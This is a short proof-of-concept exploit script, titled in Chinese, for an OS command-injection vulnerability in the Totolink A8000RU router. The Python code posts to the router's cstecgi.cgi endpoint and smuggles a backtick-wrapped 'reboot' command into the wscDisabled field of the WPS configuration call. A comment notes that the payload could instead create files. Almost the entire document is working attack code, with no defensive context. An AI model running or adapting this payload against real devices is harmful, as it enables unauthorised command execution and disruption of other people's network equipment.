CVE-2026-9434 Totolink A8000RU OS命令注入漏洞

import requests # Target IP address of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Vulnerable payload: injecting a command to restart the network or create a file # Using backticks or semicolons to break out of the intended command context payload = "`reboot`" data = { "topicurl": "setWiFiWpsCfg", "wscDisabled": payload } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")